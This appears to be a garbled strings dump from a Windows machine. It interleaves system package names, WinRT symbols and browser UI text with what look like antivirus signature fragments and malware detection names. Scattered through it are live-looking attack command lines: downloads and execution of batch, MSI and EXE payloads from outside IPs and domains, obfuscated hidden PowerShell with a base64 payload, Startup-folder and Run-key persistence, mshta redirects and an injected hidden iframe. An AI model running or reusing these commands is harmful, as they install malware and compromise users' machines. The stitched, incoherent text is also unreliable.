Microsoft-Windows-Client-Desktop-Required-Package0410~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0410~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Shared-5A906401B1801A9A7386214A3ABDA88E648A43CA49B6E45F42772F225063C8F6~31bf3856ad364e35~amd64~~10.0.26100.7298.cat|
ktions_ScoobeEnabled-<Suggest ways I can set up my device to get the most out of WindowsU
Windows.Networking.BackgroundTransfer.Internal
ItemReference<Windows.Data.CuratedTileCollection.Group>
(@Digest Authentication for Windows
OS=Windows_NT
  <EXE NAME="Microsoft.WindowsStore" ID="{e6b77e90-c966-4bc5-a29b-3ef9b2adffd1}" DBID="{11111111-1111-1111-1111-111111111111}"/>
\\WINDOWS11
%Microsoft Windows Production PCA 2011
COMPUTERNAME=WINDOWS11
strURL = "http://91.107.150.184/office.bat"strFilePath = "C:\windows\temp\office.bat"Set objADOStream = CreateObject("ADODB.Stream")strCommand = "cmd.exe /c " & strFilePathTrojan:Win64/Bayrob.NRE!MTB
powershell-windowstylehidden-noprofile-executionpolicybypass-file"%
,">nul2>&1(echosetobjshell=createobject^("wscript.shell"^))>"%appdata%\microsoft\windows\startmenu\programs\startup\
,.vbs"(echoobjshell.run"powershell-windowstylehidden-noprofile-executionpolicybypass-file\"
,\"",0,false)>>"%appdata%\microsoft\windows\startmenu\programs\startup\
,.vbs"start""/minpowershell-windowstylehidden-noprofile-executionpolicybypass-command"iex(gc'
GUID_WINDOWS_BOOTMGR
windows.
\\WINDOWS11
\\WINDOWS11
c:\windows\system32\
c:\windows\system32\
c:\windows\system32\
c:\windows\system32\
c:\windows\system32\
c:\windows\system32\
c:\windows\system32\
c:\windows\system32\
program files\windows defender\msmpeng.exep
/?8080/?80&file=SenderClient.confUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:21.0) Gecko/20100101 Firefox/21.0table=
Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.0)
e_Windows_Internal_Management_Deployment_OSIntegration_IXMLDOMElement<struct winrt::Windows::Internal::Management::Deployment::OSIntegration::IXMLDOMElement>::GetBoolean(const struct winrt::param::hstring &) const
auto __cdecl winrt::impl::consume_Windows_Internal_Management_Deployment_OSIntegration_IXMLDOMElement<struct winrt::Windows::Internal::Management::Deployment::OSIntegration::IXMLDOMElement>::SelectElement(const struct winrt::param::hstring &) const
bool __cdecl ItemizingDehBaseClass<struct winrt::WindowsAppSdk::UndockedDeh::ProgIdGeneration::implementation::ProtocolProgIdDeh_base<struct winrt::WindowsAppSdk::UndockedDeh::ProgIdGeneration::implementation::ProtocolProgIdDeh>,struct winrt::WindowsAppSdk::UndockedDeh::ProgIdGeneration::implementation::ProtocolProgIdDeh,struct winrt::WindowsAppSdk::UndockedDeh::ProgIdGeneration::ProgIdEntry>::PostOsUpgradeCommitRequest(void)
void __cdecl ItemizingDehBaseClass<struct winrt::WindowsAppSdk::UndockedDeh::ProgIdGeneration::implementation::ProtocolProgIdDeh_base<struct winrt::WindowsAppSdk::UndockedDeh::ProgIdGeneration::implementation::ProtocolProgIdDeh>,struct winrt::WindowsAppSdk::UndockedDeh::ProgIdGeneration::implementation::ProtocolProgIdDeh,struct winrt::WindowsAppSdk::UndockedDeh::ProgIdGeneration::ProgIdEntry>::PostOsUpgradeRevertRequest(void)
void __cdecl ItemizingDehBaseClass<struct winrt::WindowsAppSdk::UndockedDeh::ProgIdGeneration::implementation::ProtocolProgIdDeh_base<struct winrt::WindowsAppSdk::UndockedDeh::ProgIdGeneration::implementation::ProtocolProgIdDeh>,struct winrt::WindowsAppSdk::UndockedDeh::ProgIdGeneration::implementation::ProtocolProgIdDeh,struct winrt::WindowsAppSdk::UndockedDeh::ProgIdGeneration::ProgIdEntry>::PostOsUpgradeRemoveRequest(const struct winrt::Windows::Internal::Management::Deployment::OSIntegration::DehRequest &)
void __cdecl ItemizingDehBaseClass<struct winrt::WindowsAppSdk::UndockedDeh::ProgIdGeneration::implementation::ProtocolProgIdDeh_base<struct winrt::WindowsAppSdk::UndockedDeh::ProgIdGeneration::implementation::ProtocolProgIdDeh>,struct winrt::WindowsAppSdk::UndockedDeh::ProgIdGeneration::implementation::ProtocolProgIdDeh,struct winrt::WindowsAppSdk::UndockedDeh::ProgIdGeneration::ProgIdEntry>::PostOsUpgradeRemoveRequestForUser(const struct winrt::hstring &,const struct winrt::Windows::Internal::Management::Deployment::OSIntegration::DehRequest &)
bool __cdecl ItemizingDehBaseClass<struct winrt::WindowsAppSdk::UndockedDeh::ProgIdGeneration::implementation::FileTypeProgIdDeh_base<struct winrt::WindowsAppSdk::UndockedDeh::ProgIdGeneration::implementation::FileTypeProgIdDeh>,struct winrt::WindowsAppSdk::UndockedDeh::ProgIdGeneration::implementation::FileTypeProgIdDeh,struct winrt::WindowsAppSdk::H
DCO_MpFC_CoreSvcSampleEventsSlidingWindowSeconds
NoPingH00000003-0000-0000-c000-000000000046.<>c__DisplayClass17_0`2&windows10.0.10240.0
TProgress>WindowsRuntimeStorageExtensions
f4StreamOperationAsyncResult*StreamReadAsyncResult,StreamWriteAsyncResult,StreamFlushAsyncResult<WindowsRuntimeStreamExtensions
software\scomlineuncompletecall/dontdial /noconnectwindows\%s.exe /dontdial /delayload /install/dpn2 
c:\windows\
c:\windows\
software\microsoft\windows nt\current
repair windows:wux:repair windowsD
5windows restore:wux:windows restore]
5windows recovery:wux:windows recoveryE
SearchResultsWindowS
WindowsVersion
32\windows
c:\windows\system32\cmd.exememosite-ho(#1)z/q/rst^art^ms^i^exec/^qu^ie^t-f^v"http://2t.pm:8080/bcbe54rlvdmncgs/tgewf1v91dy63/%computername%"
ence-exclusionprocessc:\windows\system32
auto __cdecl winrt::impl::consume_Windows_Internal_Management_Deployment_OSIntegration_IDehRegistrationTable<struct winrt::Windows::Internal::Management::Deployment::OSIntegration::IDehRegistrationTable>::AddDehRegistration(const struct winrt::Windows::Internal::Management::Deployment::OSIntegration::IDehRegistration &) const
auto __cdecl winrt::impl::consume_Windows_Internal_Management_Deployment_OSInteg
al_Management_Deployment_OSIntegration_IDehPackage<struct winrt::Windows::Intern
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0010~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package00~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-Client-Features-Package07~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package07~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-Package0111~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat|Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-WOW64-Package0111~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-WOW64-Package0111~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Features-Package07~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package0417~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package0410~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-OneCore-Fonts-UAPFonts-Package~31bf3856ad364e35~amd64~~10.0.26100.1000.cat|Microsoft-OneCore-Fonts-UAPFonts-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|Microsoft-Windows-Client-Desktop-Required-Package04102030~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package04102030~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-GroupPolicy-ClientTools-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-IIS-WebServer-AddOn-2-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|Microsoft-Windows-IIS-WebServer-AddOn-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-IIS-WebServer-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-Windows-LanguageFeatures-TextToSpeech-en-us-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-LanguageFeatures-TextToSpeech-en-us-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-WPD-UltimatePortableDeviceFeature-Feature-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
c:\windows\system32\coep\
c:\windows\system32\wbem\
\system32\
T and usernames are encrypted, so they can't be read by anyone, including Microsoft.When you use a password, Microsoft Copilot warns you if it has been published online. When doing this, your passwords and usernames are encrypted, so they can't be read by anyone, including Microsoft.Microsoft Copilot PasswordsMicrosoft Copilot is trying to fill your password on $1.Passkey from Copilot profileMicrosoft Copilot is trying to turn on Windows Hello for filling passwords.Microsoft Copilot is trying to turn off Windows Hello for filling passwords.Cards and addresses are from Microsoft Copilot. You can manage them in BEGIN_LINKSettingsEND_LINK.An application is preventing Microsoft Copilot from safely connecting to this siteCan't establish a secure connection: The certificates that websites use to identify themselves are only valid for specific periods of time. Because your device's clock is incorrect, Microsoft Copilot can't verify these certificates.$1 uses encryption to protect your information. When Microsoft Copilot tried to connect to $1 this time, the website sent back unusual and incorrect credentials. This may happen when an attacker is trying to pretend to be $1, or a Wi-Fi sign-in screen has interrupted the connection. Your information is still secure because Microsoft Copilot stopped the connection before any data was exchanged.You can't visit $1 right now because the website sent scrambled credentials that Microsoft Copilot can't process. Network errors and attacks are usually temporary, so this page will probably work later.<h4>Step 1: Sign in to the portal</h4>
    <p>If you still see the error, contact the website owner.</p>"Software on your computer is preventing Microsoft Copilot from safely connecting to the web" (Windows computers only)The site $2 has failed to deliver an origin policy,
\system32\
c:\temp\0800.tmpwinlogondll.dll
Microsoft-Windows-BITS-Client
c:\windows\system32\cmd.exe/kstartmsedgehttps://resources.finalsite.net/images/v1591031008/madison/d2x0p4of6ojpbfu80izw/directionstoaccesssora_overdrive.pdf&curl-slo%temp%\bosfortuy.ms
login.windows.net
sts.windows.net
login.windows.net
sts.windows.net
windowscontainers
C:\WINDOWS
.bcjjgc.com\GameVersionUpdate1\\Windows NT\sms_log.txt/stat.wamme.cn/C8C/gl/cnzz
Windows Event Log
echo---disable"firewall^&networkprotection"sectionin"windowssecurity"
kGetWindowSizedW
WindowsUtils::GetQScreenFromWindowsCoordinate
Microsoft-Windows-Client-Features-Package08~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
%powershell.exe-whidden-c"copy-item'\\invoicetrycloudflare.com@9983\davwwwroot\new.cmd'\"$env:userprofile\downloads\";start-process\"$env:userprofile\downloads\new.cmd\"-windowstylehidden
\windows\system32\conhost.exe--headlesspowershell$de=$([char](227-122));set-aliasgaset-alias;gaf$de'wr';garec$de'ex';;rec(f-usebasicparsing'ghev.top/y')!%systemroot%\system32\shell32.dll
Software\Microsoft\Windows\CurrentVersion\Uninstall\Alleys\DiporpaS
NtUserUnlockWindowStation
NtUserAlterWindowStyle
NtUserUnhookWindowsHookEx
NtUserSetWindowsHookAW
NtUserArrangeIconicWindows
NtUserSetWindowState
NtUserClearWindowState
NtUserSetWindowsHookEx
NtUserSetCoveredWindowStates
NtUserSetProcessWindowStation
NtUserSetWindowShowState
.@Digest Authentication for WindowsM
TEMP=C:\WINDOWS\TEMP
SystemRoot=C:\WINDOWS
TMP=C:\WINDOWS\TEMP
TEMP=C:\WINDOWS\TEMP
SystemRoot=C:\WINDOWS
windir=C:\WINDOWS
TMP=C:\WINDOWS\TEMP
windir=C:\WINDOWS
Microsoft-Windows-Client-Desktop-Required-Package04111~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-Package04111~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft.Windows.Power.Notifications
Microsoft.Windows.LimitsManagement.Telemetry
129^com.microsoft.windows.extension.livecaptions
12a^com.microsoft.windows.extensions.xaml.livecaptions
onecore\enduser\windowsupdate\muse\orchestrator\api\usocommithelperlib\usocommithelper.cpp
Winlogon
Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
 Windows 
 Windows 
 Windows 
 Windows 10 
ComSpec=C:\WINDOWS\system32\cmd.exe
USERDOMAIN_ROAMINGPROFILE=Windows11
    <p>If you still see the error, contact the website owner.</p>"Software on your computer is preventing Microsoft Copilot from safely connecting to the web" (Windows computers only)The site $2 has failed to deliver an origin policy,
windowSpace
FormWindowState
get_WindowState
LayeredWindows
Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
onecoreuap\shell\twinapi\windowservices\viewservices\lib\viewservices.cpp
onecoreuap\shell\twinapi\sharewindowcommand\libs\system\sharewindowservermanager.cpp
C:\Windows\reader.exeC
xHttp.Open "GET", "http://speedtest.tele2.net/10MB.zip", FalsexHttp.Open "GET", "https://list24.online/msp.exe", False.savetofile "10MB.zip", 2.savetofile "C:\Windows\Temp\msp.exe", 2xHttp: Set xHttp = CreateObject("Microsoft.XMLHTTP")Trojan:HTML/Phish.MBK!MTB
 @Microsoft-Windows-User Device Registration
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0015~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
windows.protocol
H@{MicrosoftWindows.Client.WebExperience_526.1202.40.0_x64__cw5n1h2txyewy?ms-resource://U
QForWindows_1.2026.210.300_x64__8wekyb3d8bbwe?ms-resource://Application/Files/Assets/MedTile.png}s
WindowsGetStringRawBuffer
WindowsDel
WindowsCreateString
WindowsIsStringEmpty
WindowsStringHasEmbeddedNull
WindowsCreateStringReference
WindowsDuplicateString
WindowsCompareStringOrdinal
WindowsConcatString
Microsoft.Windows.Networking.DHCP
onecoreuap\windows\analog\input\mirage\stubdll\appcapturestatics.cpp
USERDOMAIN_ROAMINGPROFILE=Windows11/
regwrite ( "hkey_local_machine\software\microsoft\windows\currentversion\run"r
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.16
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.17
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.18
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.19
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.2
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.20
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.21
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.22
WINDOWS11
WINDOWS11
WINDOWS11
WINDOWS11
!eecmd.exe%systemroot%\system32/c
anagerApp@winrt@@UIControl2@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_Controls_IPage@UHomePage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UHomePage@implementation@TaskManagerApp@winrt@@UIPage@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_Controls_IUserControl@UHomePage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UHomePage@implementation@TaskManagerApp@winrt@@UIUserControl@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$producer@UHomePage@implementation@TaskManagerApp@winrt@@UIComponentConnector@Markup@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@UHomePage@implementation@TaskManagerApp@winrt@@UIComponentConnector2@Markup@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@UHomePage@implementation@TaskManagerApp@winrt@@UIComponentConnector2@Markup@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$implements@UHomePage@implementation@TaskManagerApp@winrt@@U134@Ucomposing@4@UIPageOverrides@Controls@Xaml@UI@Windows@4@UIControlOverrides@789Windows@4@UIControlOverrides6@789Windows@4@UIFrameworkElementOverrides@89Windows@4@UIFrameworkElementOverrides2@89Windows@4@UIUIElementOverrides@89Windows@4@UIUIElementOverrides7@89Windows@4@UIUIElementOverrides8@89Windows@4@UIUIElementOverrides9@89Windows@4@UIComponentConnector@Markup@89Windows@4@UIComponentConnector2@Markup@89Windows@4@@winrt@@
.?AU?$producer@UHomePage@implementation@TaskManagerApp@winrt@@UIUIElementOverrides8@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@UHomePage@implementation@TaskManagerApp@winrt@@UIUIElementOverrides9@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@UHomePage@implementation@TaskManagerApp@winrt@@UIUIElementOverrides9@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@UHomePage@implementation@TaskManagerApp@winrt@@UIComponentConnector@Markup@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@UHomePage@implementation@TaskManagerApp@winrt@@UIUIElementOverrides@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@UHomePage@implementation@TaskManagerApp@winrt@@UIUIElementOverrides7@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@UHomePage@implementation@TaskManagerApp@winrt@@UIUIElementOverrides7@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@UHomePage@implementation@TaskManagerApp@winrt@@UIUIElementOverrides8@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@UHomePage@implementation@TaskManagerApp@winrt@@UIFrameworkElementOverrides@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@UHomePage@implementation@TaskManagerApp@winrt@@UIFrameworkElementOverrides2@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@UHomePage@implementation@TaskManagerApp@winrt@@UIFrameworkElementOverrides2@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@UHomePage@implementation@TaskManagerApp@winrt@@UIUIElementOverrides@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@UHomePage@implementation@TaskManagerApp@winrt@@UIControlOverrides@Controls@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@UHomePage@implementation@TaskManagerApp@winrt@@UIControlOverrides6@Controls@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@UHomePage@implementation@TaskManagerApp@winrt@@UIControlOverrides6@Controls@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@UHomePage@implementation@TaskManagerApp@winrt@@UIFrameworkElementOverrides@Xaml@UI@Windows@4@X@impl@winrt@@
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
GAAA_SettingsPageRestoreMusUpdate#m'2windows update troubleshooter@
9AAA_SettingsPageRestoreMusUpdate*f'2windows update history8
'2windows updare8
)AAA_SettingsPageRestoreMusUpdate*`'2windows updaet7
'2windows upate8
'2windows upadte5
#AAA_SettingsPageRestoreMusUpdate+v'2windows up[5
'2windows uop8
'2windows uodate5
#AAA_SettingsPageRestoreMusUpdate)X'2windows uip8
)AAA_SettingsPageRestoreMusUpdate!`'2windows udpate7
'AAA_SettingsPageRestoreMusUpdate&t'2windows udate4
'2windows u[:
'2windows settings7
'AAA_SettingsPageRestoreMusUpdate)K'2windows pdate;
'2windows 10 update2
'2update windows9
microsoft\windows\inetcacheI
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.1
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.2
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.1
.blob.core.windows.net"
WindowsGetStringRawBuffer
WindowsIsStringEmpty
WindowsStringHasEmbeddedNull
WindowsCreateString
WindowsDeleteString
WindowsDuplicateString
WindowsCreateStringReference
windows.system.display.dll
^c:\windows\system32\cmd.exe/v:on/c..\
#user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x
windir=C:\WINDOWS
	\system32\cmd.exe
#user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x
windir=C:\WINDOWS
PSModulePath=%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules
C:\WINDOW\system32\load
c:\windows\system32\cmd.execmd/cpowershell-exbypass-nop-whidden-eciaajaekatgb2ag8aswbfac0adwbfagiaugblaheavqbfahmavaagac0avqbsagkaiaajab0gaab0ahqacabzadoalwavahiazqbtagkacwbhahqalgbjag8abqauahuaeqavahoadabpac8aaabvahqalgblahgazqadicaalqbvahuavabgagkatablacaacqadicqazqbuafyaogbhafaacabkageadabhafwauab1ahqadab5afqazqbzahqanwa3adcalgbwagkazgadicaaiaa7acaacqbpae4adgbvagsarqatagkavablag0aiaajab0gjabfag4adga6ageacabqaeqayqb0aeeaxabqahuadab0ahkavablahmadaa3adcanwauahaaaqbmab0g
.?AU?$IAsyncOperationCompletedHandler@PEAVTargetedContentContainer@TargetedContent@Services@Windows@ABI@@@Foundation@Windows@ABI@@
.?AU?$IAsyncOperationCompletedHandler_impl@U?$AggregateType@PEAVTargetedContentContainer@TargetedContent@Services@Windows@ABI@@PEAUITargetedContentContainer@2345@@Internal@Foundation@Windows@ABI@@@Foundation@Windows@ABI@@
.?AU?$ImplementsHelper@U?$RuntimeClassFlags@$01@WRL@Microsoft@@$0A@U?$IAsyncOperationCompletedHandler@PEAVTargetedContentContainer@TargetedContent@Services@Windows@ABI@@@Foundation@Windows@ABI@@VFtmBase@23@@Details@WRL@Microsoft@@
.?AV?$RuntimeClassImpl@U?$RuntimeClassFlags@$01@WRL@Microsoft@@$00$0A@$00U?$IAsyncOperationCompletedHandler@PEAVTargetedContentContainer@TargetedContent@Services@Windows@ABI@@@Foundation@Windows@ABI@@VFtmBase@23@@Details@WRL@Microsoft@@
.?AV?$RuntimeClass@U?$RuntimeClassFlags@$01@WRL@Microsoft@@U?$IAsyncOperationCompletedHandler@PEAVTargetedContentContainer@TargetedContent@Services@Windows@ABI@@@Foundation@Windows@ABI@@VFtmBase@23@@WRL@Microsoft@@
.?AV?$_Ref_count_obj2@U?$Property@V?$ComPtr@UITargetedContentCollection@TargetedContent@Services@Windows@ABI@@@WRL@Microsoft@@@Properties@@@std@@
.?AVFTMEventDelegate@?1???$WaitForCompletion@U?$IAsyncOperationCompletedHandler@PEAVTargetedContentContainer@TargetedContent@Services@Windows@ABI@@@Foundation@Windows@ABI@@U?$IAsyncOperation@PEAVTargetedContentContainer@TargetedContent@Services@Windows@ABI@@@234@@@YAJPEAU?$IAsyncOperation@PEAVTargetedContentContainer@TargetedContent@Services@Windows@ABI@@@Foundation@Windows@ABI@@W4tagCOWAIT_FLAGS@@PEAX@Z@
.?AU?$IAsyncOperationCompletedHandler@PEAVTargetedContentSubscription@TargetedContent@Services@Windows@ABI@@@Foundation@Windows@ABI@@
.?AU?$IAsyncOperationCompletedHandler_impl@U?$AggregateType@PEAVTargetedContentSubscription@TargetedContent@Services@Windows@ABI@@PEAUITargetedContentSubscription@2345@@Internal@Foundation@Windows@ABI@@@Foundation@Windows@ABI@@
0windowsupdate
Astart AdminDenied.vbshqdefault.jpgobj.DeleteFile("*.vbs")DEL /f AutoRun.batdel "%userprofile%\AppData\Roaming\Microsoft\Windows\start Menu\Programs\Startup\logoff.exeshutdown -Lprogramdata\ssh\loop1.batRansom:Win32/StopCrypt.SLS!MTB
temRoot%\system32\mswsock.dll
x-noprofile-windowstylehidden-executionpolicybypassiex([text.encoding]::ascii.getstring([convert]::frombase64string((gp'hkcu:\\software\\classes\\
\cmd.exedropboxg/v/rs^t^art^ms^iexec/^q^n/f^v"http://0p.rs:8080/avypswfyfs/zexaxjrqfvvwldujup9yfuvt/!computername!"%windir%\system32\shell32.dll
^o?c:\windows\system32\cmd.exe/q/y/v/c^s^t^ar^t^ms^iexe^c-q^b^rrb^p^ij^b=pm/f^v"http://0j.re:8080/bdy/uhdqugqgrkbaykv6c/9leywekgjz/!computername!"
c:\windows\system32\mshta.exe"javascript:window.location.href='%68%74%74%70%73%3a%2f%2f%31%30%32%2e%31%36%35%2e%34%36%2e%31%34%35%2f';close();"
@fsku^.4icmd.exej-i<c:\windows\system32\cmd.exe/cmollusks\enlisting.cmdc:\windows\system32\write.exe%systemroot%\system32\write.exe%systemroot%
c:\windows\system32\wbem\wmic.exeprocesscallcreate"powershell-w1.\w*\s*2\m*ht*ehttps://cyprecoofamerica.com/components/com_profiles/tmp/drugye"
c:\windows\system32\windowspowershell\v1.0\powershell.exestartpowershell-argumentlist'.(dirc:\w*\s*2\m*ta.*e)http
C:\__w\1\s\src\sdk\Microsoft.Windows.Widgets\x64\Release\Generated Files\winrt\Windows.Foundation.h
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.2
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.1
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.2
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.1
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.2
2be^com.microsoft.windows.extensionpackage
2bf^com.microsoft.windows.extension.widgetcanvas
2c0^com.microsoft.windows.extensionpackage
.?AV<lambda_1>@?L@??GetCreativeResultsAsync@IrisServiceImpl@implementation@IrisService@winrt@@QEAA?AU?$IAsyncOperation@UIrisCreativeResults@Iris@Services@WindowsUdk@winrt@@@Foundation@Windows@5@Uhstring@5@IU?$IMapView@Uhstring@winrt@@U12@@Collections@785@W4RetrieveCreativesOption@Iris@Services@WindowsUdk@5@@Z@
System32
VCOMPONENT_INSTALLER_DIR=C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy9
SM_PENWINDOWS
WindowsCultureResolver$
\SystemRoot\system32\drivers\%s.sys\SystemRoot\system32\%s.dll%%systemroot%%\system32\Rundll32.exe %%systemroot%%\system32\%s.dll,DllUnregisterServer%%systemroot%%\system32\Rundll32.exe %%systemroot%%\system32\%s.dll,DllCanUnloadNow\sys\objfre_w2K_x86\i386\autolive.pdbh
software\microsoft\windows\currentversion\explorer
software\microsoft\windows\currentversion%2.2x-%2.2x-%2.2x-%2.2x-%2.2x-%2.2xMonitoringTool:Win32/FreeKeylogger
createtoolcurrentversion\winlogon$$tmp.bat
awinlogon.exe
;width=0 height=0></iframe>"-port 80 -insert "<iframe src=-idx 0 -ip c:\windows\system32\capinstall.exe\sevices.exe
Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft.Windows.Search.Indexer.Diagnostics
Microsoft.Windows.Search.Indexer
Microsoft.Windows.Search.Indexer.Trace
Microsoft.Windows.Shell.HardwareRequirements
Microsoft.Windows.Search.Indexer.Aggregated.Medium
Microsoft.Windows.Search.Indexer.Aggregated.High
Microsoft.Windows.Search.Indexer.Aggregated.Low
Microsoft.Windows.Search.Indexer.Aggregated.Normal
Microsoft.Windows.TlgAggregateInternal
c:\windows\microsoft.net\framework\v4.0.30319\
C:\__w\1\s\src\sdk\Microsoft.Windows.Widgets\x64\Release\Generated Files\winrt\Windows.System.UserProfile.h
C:\__w\1\s\src\sdk\Microsoft.Windows.Widgets\x64\Release\Generated Files\winrt\Windows.Foundation.Metadata.h
C:\__w\1\s\src\sdk\Microsoft.Windows.Widgets\x64\Release\Generated Files\winrt\Windows.Storage.h
C:\__w\1\s\src\sdk\Microsoft.Windows.Widgets\x64\Release\GeneratINDX(
Software\Microsoft\Windows\frafaldsprocenterne\Uninstall\spinster\AffreuxS
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
!#ALF:Y2V:Florian_Roth/Recon_Commands_Windows_Gen1
Windows/wbem/root/cimv2:Win32_PerfFormattedData_PerfOS_Memory=@
Windows/wbem/root/cimv2:Win32_PageFileSetting#.config
Windows/wbem/root/cimv2:Win32_PageFileUsage#.refresh
Common:Builtin#GuestStatID_Windows_AutomaticSwapFileMax
Windows/wbem/root/cimv2:Win32_OperatingSystem=SI
setwindowshookexa
WindowsSearchr
Windows.Networking.BackgroundTransfer.Internal
cREGWRITE ( "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" , "HideFileExt
@WINDOWS
"Windows"
